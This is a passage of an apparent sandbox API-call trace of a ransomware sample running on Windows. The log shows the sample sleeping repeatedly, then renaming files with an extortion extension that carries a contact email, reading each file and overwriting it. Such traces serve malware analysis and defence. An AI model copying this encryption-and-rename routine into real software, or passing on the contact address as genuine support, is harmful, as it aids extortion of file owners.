(dwMilliseconds=0x1) [0075.064] Sleep (dwMilliseconds=0x1) [0075.102] Sleep (dwMilliseconds=0x1) [0075.161] Sleep (dwMilliseconds=0x1) [0075.218] Sleep (dwMilliseconds=0x1) [0075.261] Sleep (dwMilliseconds=0x1) [0075.307] Sleep (dwMilliseconds=0x1) [0075.359] Sleep (dwMilliseconds=0x1) [0075.423] Sleep (dwMilliseconds=0x1) [0075.510] Sleep (dwMilliseconds=0x1) [0075.570] Sleep (dwMilliseconds=0x1) [0075.609] Sleep (dwMilliseconds=0x1) [0075.693] Sleep (dwMilliseconds=0x1) [0075.747] Sleep (dwMilliseconds=0x1) [0075.789] Sleep (dwMilliseconds=0x1) [0075.834] Sleep (dwMilliseconds=0x1) [0076.045] Sleep (dwMilliseconds=0x1) [0076.061] Sleep (dwMilliseconds=0x1) [0076.084] Sleep (dwMilliseconds=0x1) [0076.106] Sleep (dwMilliseconds=0x1) [0076.187] Sleep (dwMilliseconds=0x1) [0076.390] Sleep (dwMilliseconds=0x1) [0076.531] Sleep (dwMilliseconds=0x1) [0076.671] Sleep (dwMilliseconds=0x1) [0076.771] Sleep (dwMilliseconds=0x1) [0076.808] Sleep (dwMilliseconds=0x1) [0076.843] Sleep (dwMilliseconds=0x1) [0076.871] Sleep (dwMilliseconds=0x1) [0076.921] Sleep (dwMilliseconds=0x1) [0076.984] Sleep (dwMilliseconds=0x1) [0077.066] Sleep (dwMilliseconds=0x1) [0077.154] Sleep (dwMilliseconds=0x1) [0077.223] Sleep (dwMilliseconds=0x1) [0077.288] Sleep (dwMilliseconds=0x1) [0077.361] Sleep (dwMilliseconds=0x1) [0077.411] Sleep (dwMilliseconds=0x1) [0077.521] Sleep (dwMilliseconds=0x1) [0077.596] Sleep (dwMilliseconds=0x1) [0077.650] Sleep (dwMilliseconds=0x1) [0077.688] Sleep (dwMilliseconds=0x1) [0077.737] Sleep (dwMilliseconds=0x1) [0077.781] Sleep (dwMilliseconds=0x1) [0077.834] Sleep (dwMilliseconds=0x1) [0077.855] Sleep (dwMilliseconds=0x1) [0077.906] Sleep (dwMilliseconds=0x1) [0077.964] Sleep (dwMilliseconds=0x1) [0077.976] Sleep (dwMilliseconds=0x1) [0078.001] Sleep (dwMilliseconds=0x1) [0078.085] Sleep (dwMilliseconds=0x1) [0078.118] Sleep (dwMilliseconds=0x1) [0078.134] Sleep (dwMilliseconds=0x1) [0078.193] Sleep (dwMilliseconds=0x1) [0078.223] Sleep (dwMilliseconds=0x1) [0078.238] Sleep (dwMilliseconds=0x1) [0078.253] Sleep (dwMilliseconds=0x1) [0078.272] Sleep (dwMilliseconds=0x1) [0078.286] Sleep (dwMilliseconds=0x1) [0078.314] Sleep (dwMilliseconds=0x1) [0078.360] Sleep (dwMilliseconds=0x1) [0078.379] Sleep (dwMilliseconds=0x1) [0078.512] Sleep (dwMilliseconds=0x1) [0078.536] Sleep (dwMilliseconds=0x1) [0078.557] Sleep (dwMilliseconds=0x1) [0078.573] Sleep (dwMilliseconds=0x1) [0078.606] Sleep (dwMilliseconds=0x1) [0078.630] Sleep (dwMilliseconds=0x1) [0078.642] Sleep (dwMilliseconds=0x1) [0078.662] Sleep (dwMilliseconds=0x1) [0078.672] Sleep (dwMilliseconds=0x1) [0078.708] Sleep (dwMilliseconds=0x1) [0078.721] Sleep (dwMilliseconds=0x1) [0078.738] Sleep (dwMilliseconds=0x1) [0078.754] Sleep (dwMilliseconds=0x1) [0078.770] Sleep (dwMilliseconds=0x1) [0078.786] Sleep (dwMilliseconds=0x1) [0078.837] Sleep (dwMilliseconds=0x1) [0078.886] Sleep (dwMilliseconds=0x1) [0078.894] Sleep (dwMilliseconds=0x1) [0078.927] Sleep (dwMilliseconds=0x1) [0078.945] Sleep (dwMilliseconds=0x1) [0078.957] Sleep (dwMilliseconds=0x1) [0078.978] Sleep (dwMilliseconds=0x1) [0079.003] Sleep (dwMilliseconds=0x1) [0079.031] Sleep (dwMilliseconds=0x1) [0079.050] Sleep (dwMilliseconds=0x1) [0079.080] Sleep (dwMilliseconds=0x1) [0079.098] Sleep (dwMilliseconds=0x1) [0079.116] Sleep (dwMilliseconds=0x1) [0079.129] Sleep (dwMilliseconds=0x1) [0079.159] Sleep (dwMilliseconds=0x1) [0079.224] Sleep (dwMilliseconds=0x1) [0079.250] Sleep (dwMilliseconds=0x1) [0079.270] Sleep (dwMilliseconds=0x1) [0079.286] Sleep (dwMilliseconds=0x1) [0079.301] Sleep (dwMilliseconds=0x1) [0079.315] Sleep (dwMilliseconds=0x1) [0079.330] Sleep (dwMilliseconds=0x1) [0079.347] Sleep (dwMilliseconds=0x1) [0079.362] Sleep (dwMilliseconds=0x1) [0079.387] Sleep (dwMilliseconds=0x1) [0079.419] Sleep (dwMilliseconds=0x1) [0079.449] Sleep (dwMilliseconds=0x1) [0079.512] Sleep (dwMilliseconds=0x1) [0079.545] Sleep (dwMilliseconds=0x1) [0079.603] Sleep (dwMilliseconds=0x1) [0079.610] Sleep (dwMilliseconds=0x1) [0079.629] Sleep (dwMilliseconds=0x1) [0079.641] Sleep (dwMilliseconds=0x1) [0079.661] Sleep (dwMilliseconds=0x1) [0079.675] Sleep (dwMilliseconds=0x1) [0079.690] Sleep (dwMilliseconds=0x1) [0079.738] Sleep (dwMilliseconds=0x1) [0079.801] Sleep (dwMilliseconds=0x1) [0079.815] Sleep (dwMilliseconds=0x1) [0079.831] Sleep (dwMilliseconds=0x1) [0079.889] Sleep (dwMilliseconds=0x1) [0079.916] Sleep (dwMilliseconds=0x1) [0079.931] Sleep (dwMilliseconds=0x1) [0079.940] Sleep (dwMilliseconds=0x1) [0079.985] Sleep (dwMilliseconds=0x1) [0080.049] Sleep (dwMilliseconds=0x1) [0080.069] Sleep (dwMilliseconds=0x1) [0080.085] Sleep (dwMilliseconds=0x1) [0080.098] Sleep (dwMilliseconds=0x1) [0080.138] Sleep (dwMilliseconds=0x1) [0080.159] Sleep (dwMilliseconds=0x1) [0080.174] Sleep (dwMilliseconds=0x1) [0080.236] Sleep (dwMilliseconds=0x1) [0080.261] Sleep (dwMilliseconds=0x1) [0080.267] Sleep (dwMilliseconds=0x1) [0080.287] Sleep (dwMilliseconds=0x1) [0080.300] Sleep (dwMilliseconds=0x1) [0080.320] Sleep (dwMilliseconds=0x1) [0080.342] Sleep (dwMilliseconds=0x1) [0080.363] Sleep (dwMilliseconds=0x1) [0080.381] Sleep (dwMilliseconds=0x1) [0080.394] Sleep (dwMilliseconds=0x1) [0080.409] Sleep (dwMilliseconds=0x1) [0080.427] Sleep (dwMilliseconds=0x1) [0080.440] Sleep (dwMilliseconds=0x1) [0080.504] Sleep (dwMilliseconds=0x1) [0080.525] Sleep (dwMilliseconds=0x1) [0080.548] Sleep (dwMilliseconds=0x1) [0080.566] Sleep (dwMilliseconds=0x1) [0080.584] Sleep (dwMilliseconds=0x1) [0080.604] Sleep (dwMilliseconds=0x1) [0080.615] Sleep (dwMilliseconds=0x1) [0080.659] Sleep (dwMilliseconds=0x1) [0080.674] Sleep (dwMilliseconds=0x1) [0080.702] Sleep (dwMilliseconds=0x1) [0080.724] Sleep (dwMilliseconds=0x1) [0080.764] Sleep (dwMilliseconds=0x1) [0080.789] Sleep (dwMilliseconds=0x1) [0080.803] Sleep (dwMilliseconds=0x1) [0080.821] Sleep (dwMilliseconds=0x1) [0080.834] Sleep (dwMilliseconds=0x1) [0080.848] Sleep (dwMilliseconds=0x1) [0080.887] Sleep (dwMilliseconds=0x1) [0080.919] Sleep (dwMilliseconds=0x1) [0080.942] Sleep (dwMilliseconds=0x1) [0080.957] Sleep (dwMilliseconds=0x1) [0080.978] Sleep (dwMilliseconds=0x1) [0080.989] Sleep (dwMilliseconds=0x1) [0081.005] Sleep (dwMilliseconds=0x1) [0081.017] Sleep (dwMilliseconds=0x1) [0081.038] Sleep (dwMilliseconds=0x1) [0081.048] Sleep (dwMilliseconds=0x1) [0081.287] Sleep (dwMilliseconds=0x1) [0081.438] Sleep (dwMilliseconds=0x1) [0081.526] Sleep (dwMilliseconds=0x1) [0081.543] Sleep (dwMilliseconds=0x1) [0081.557] Sleep (dwMilliseconds=0x1) [0081.566] Sleep (dwMilliseconds=0x1) [0081.580] Sleep (dwMilliseconds=0x1) [0081.601] Sleep (dwMilliseconds=0x1) [0081.611] Sleep (dwMilliseconds=0x1) [0081.630] Sleep (dwMilliseconds=0x1) [0081.663] Sleep (dwMilliseconds=0x1) [0081.684] Sleep (dwMilliseconds=0x1) [0081.712] Sleep (dwMilliseconds=0x1) [0081.754] Sleep (dwMilliseconds=0x1) [0081.779] Sleep (dwMilliseconds=0x1) [0081.835] Sleep (dwMilliseconds=0x1) [0081.846] Sleep (dwMilliseconds=0x1) [0081.888] Sleep (dwMilliseconds=0x1) [0081.912] Sleep (dwMilliseconds=0x1) [0081.924] Sleep (dwMilliseconds=0x1) [0081.944] Sleep (dwMilliseconds=0x1) [0081.965] Sleep (dwMilliseconds=0x1) [0081.973] Sleep (dwMilliseconds=0x1) [0081.984] Sleep (dwMilliseconds=0x1) [0082.005] Sleep (dwMilliseconds=0x1) [0082.033] Sleep (dwMilliseconds=0x1) [0082.053] Sleep (dwMilliseconds=0x1) [0082.066] Sleep (dwMilliseconds=0x1) [0082.115] Sleep (dwMilliseconds=0x1) [0082.130] Sleep (dwMilliseconds=0x1) [0082.154] Sleep (dwMilliseconds=0x1) [0082.197] Sleep (dwMilliseconds=0x1) [0082.213] Sleep (dwMilliseconds=0x1) [0082.234] Sleep (dwMilliseconds=0x1) [0082.257] Sleep (dwMilliseconds=0x1) [0082.278] Sleep (dwMilliseconds=0x1) [0082.292] Sleep (dwMilliseconds=0x1) [0082.311] Sleep (dwMilliseconds=0x1) [0082.369] Sleep (dwMilliseconds=0x1) [0082.420] Sleep (dwMilliseconds=0x1) [0082.539] Sleep (dwMilliseconds=0x1) [0082.591] Sleep (dwMilliseconds=0x1) [0082.634] Sleep (dwMilliseconds=0x1) [0082.686] Sleep (dwMilliseconds=0x1) [0082.726] Sleep (dwMilliseconds=0x1) [0082.778] Sleep (dwMilliseconds=0x1) [0082.820] Sleep (dwMilliseconds=0x1) [0082.872] Sleep (dwMilliseconds=0x1) [0082.914] Sleep (dwMilliseconds=0x1) [0082.970] Sleep (dwMilliseconds=0x1) [0083.014] Sleep (dwMilliseconds=0x1) [0083.057] Sleep (dwMilliseconds=0x1) [0083.101] Sleep (dwMilliseconds=0x1) [0083.152] Sleep (dwMilliseconds=0x1) [0083.199] Sleep (dwMilliseconds=0x1) [0083.244] Sleep (dwMilliseconds=0x1) [0083.291] Sleep (dwMilliseconds=0x1) [0083.339] Sleep (dwMilliseconds=0x1) [0083.383] Sleep (dwMilliseconds=0x1) [0083.438] Sleep (dwMilliseconds=0x1) [0083.701] Sleep (dwMilliseconds=0x1) [0083.753] Sleep (dwMilliseconds=0x1) [0083.800] Sleep (dwMilliseconds=0x1) [0083.915] Sleep (dwMilliseconds=0x1) [0084.011] Sleep (dwMilliseconds=0x1) [0084.095] Sleep (dwMilliseconds=0x1) [0084.200] Sleep (dwMilliseconds=0x1) [0084.345] Sleep (dwMilliseconds=0x1) [0084.736] Sleep (dwMilliseconds=0x1) [0084.813] Sleep (dwMilliseconds=0x1) [0084.875] Sleep (dwMilliseconds=0x1) [0084.963] Sleep (dwMilliseconds=0x1) [0085.044] Sleep (dwMilliseconds=0x1) [0085.127] Sleep (dwMilliseconds=0x1) [0085.174] Sleep (dwMilliseconds=0x1) [0085.343] Sleep (dwMilliseconds=0x1) [0085.393] Sleep (dwMilliseconds=0x1) [0085.732] Sleep (dwMilliseconds=0x1) [0085.835] Sleep (dwMilliseconds=0x1) [0085.959] Sleep (dwMilliseconds=0x1) [0086.080] Sleep (dwMilliseconds=0x1) [0086.189] Sleep (dwMilliseconds=0x1) [0086.234] Sleep (dwMilliseconds=0x1) [0086.296] Sleep (dwMilliseconds=0x1) [0086.349] Sleep (dwMilliseconds=0x1) [0086.590] Sleep (dwMilliseconds=0x1) [0086.894] Sleep (dwMilliseconds=0x1) [0087.094] Sleep (dwMilliseconds=0x1) [0087.469] Sleep (dwMilliseconds=0x1) [0089.108] Sleep (dwMilliseconds=0x1) [0090.329] Sleep (dwMilliseconds=0x1) [0091.612] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\588bce7c90097ed212\\1053\\eula.rtf", len=0x23 | out: pbstr=0x573ff7c*="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 1 [0091.612] GetProcessHeap () returned 0x630000 [0091.612] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b01f8, Size=0x10) returned 0x6b11f0 [0091.612] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0091.686] CloseHandle (hObject=0x6cc) returned 1 [0091.686] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0091.699] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0091.699] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0091.700] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d4e00 [0091.700] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0091.700] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0091.700] GetProcessHeap () returned 0x630000 [0091.700] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xf21) returned 0x727d80 [0091.700] GetProcessHeap () returned 0x630000 [0091.700] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xf21) returned 0x709ac78 [0091.700] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.700] ReadFile (in: hFile=0x6cc, lpBuffer=0x727d80, nNumberOfBytesToRead=0xf00, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesRead=0x573ff0c*=0xf00, lpOverlapped=0x0) returned 1 [0091.716] GetProcessHeap () returned 0x630000 [0091.716] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8a78 [0091.716] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.717] WriteFile (in: hFile=0x6cc, lpBuffer=0x709ac78*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x709ac78*, lpNumberOfBytesWritten=0x573ff0c*=0xf00, lpOverlapped=0x0) returned 1 [0091.717] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.717] WriteFile (in: hFile=0x6cc, lpBuffer=0x709bb77*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x709bb77*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0091.717] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.717] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0091.717] CloseHandle (hObject=0x6cc) returned 1 [0091.718] GetProcessHeap () returned 0x630000 [0091.718] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x709ac78 | out: hHeap=0x630000) returned 1 [0091.718] GetProcessHeap () returned 0x630000 [0091.718] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0091.718] GetProcessHeap () returned 0x630000 [0091.718] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8a78 | out: hHeap=0x630000) returned 1 [0091.718] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0091.718] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0xfc9e2549, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0xf3d, dwReserved0=0xa5c7496, dwReserved1=0x727d78, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d51c0 [0091.719] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0091.719] Sleep (dwMilliseconds=0x1) [0091.760] Sleep (dwMilliseconds=0x1) [0091.775] Sleep (dwMilliseconds=0x1) [0091.791] Sleep (dwMilliseconds=0x1) [0091.807] Sleep (dwMilliseconds=0x1) [0091.822] Sleep (dwMilliseconds=0x1) [0091.838] Sleep (dwMilliseconds=0x1) [0091.853] Sleep (dwMilliseconds=0x1) [0091.869] Sleep (dwMilliseconds=0x1) [0091.885] Sleep (dwMilliseconds=0x1) [0091.901] Sleep (dwMilliseconds=0x1) [0091.916] Sleep (dwMilliseconds=0x1) [0091.931] Sleep (dwMilliseconds=0x1) [0091.948] Sleep (dwMilliseconds=0x1) [0091.963] Sleep (dwMilliseconds=0x1) [0091.978] Sleep (dwMilliseconds=0x1) [0091.994] Sleep (dwMilliseconds=0x1) [0092.010] Sleep (dwMilliseconds=0x1) [0092.025] Sleep (dwMilliseconds=0x1) [0092.048] Sleep (dwMilliseconds=0x1) [0092.057] Sleep (dwMilliseconds=0x1) [0092.072] Sleep (dwMilliseconds=0x1) [0092.088] Sleep (dwMilliseconds=0x1) [0092.103] Sleep (dwMilliseconds=0x1) [0092.121] Sleep (dwMilliseconds=0x1) [0093.835] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico", len=0x2a | out: pbstr=0x573ff7c*="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 1 [0093.835] GetProcessHeap () returned 0x630000 [0093.835] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68e0b8, Size=0x50) returned 0x6ef470 [0093.843] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0093.846] CloseHandle (hObject=0x694) returned 1 [0093.846] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.851] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.852] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.852] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ROTATE~3.FIR")) returned 0x6d51c0 [0093.852] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0093.852] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0093.852] GetProcessHeap () returned 0x630000 [0093.852] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x381) returned 0x6a3bf0 [0093.852] GetProcessHeap () returned 0x630000 [0093.852] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x381) returned 0x6672f8 [0093.852] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.852] ReadFile (in: hFile=0x688, lpBuffer=0x6a3bf0, nNumberOfBytesToRead=0x360, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a3bf0*, lpNumberOfBytesRead=0x573ff0c*=0x360, lpOverlapped=0x0) returned 1 [0093.857] GetProcessHeap () returned 0x630000 [0093.857] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8960 [0093.857] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.857] WriteFile (in: hFile=0x688, lpBuffer=0x6672f8*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6672f8*, lpNumberOfBytesWritten=0x573ff0c*=0x360, lpOverlapped=0x0) returned 1 [0093.857] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.857] WriteFile (in: hFile=0x688, lpBuffer=0x667657*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x667657*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0093.858] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.858] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0093.858] CloseHandle (hObject=0x688) returned 1 [0093.858] GetProcessHeap () returned 0x630000 [0093.858] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6672f8 | out: hHeap=0x630000) returned 1 [0093.858] GetProcessHeap () returned 0x630000 [0093.858] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a3bf0 | out: hHeap=0x630000) returned 1 [0093.858] GetProcessHeap () returned 0x630000 [0093.859] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8960 | out: hHeap=0x630000) returned 1 [0093.859] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.859] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xfde4e865, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x3a2, dwReserved0=0xa5c7496, dwReserved1=0x6a3be8, cFileName="Rotate7.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ROTATE~3.FIR")) returned 0x6d4f80 [0093.859] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0093.859] Sleep (dwMilliseconds=0x1) [0093.871] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico", len=0x2a | out: pbstr=0x573ff7c*="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 1 [0093.871] GetProcessHeap () returned 0x630000 [0093.871] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x679240, Size=0x40) returned 0x69ac28 [0093.872] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0093.878] CloseHandle (hObject=0x688) returned 1 [0093.878] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.878] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.879] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: 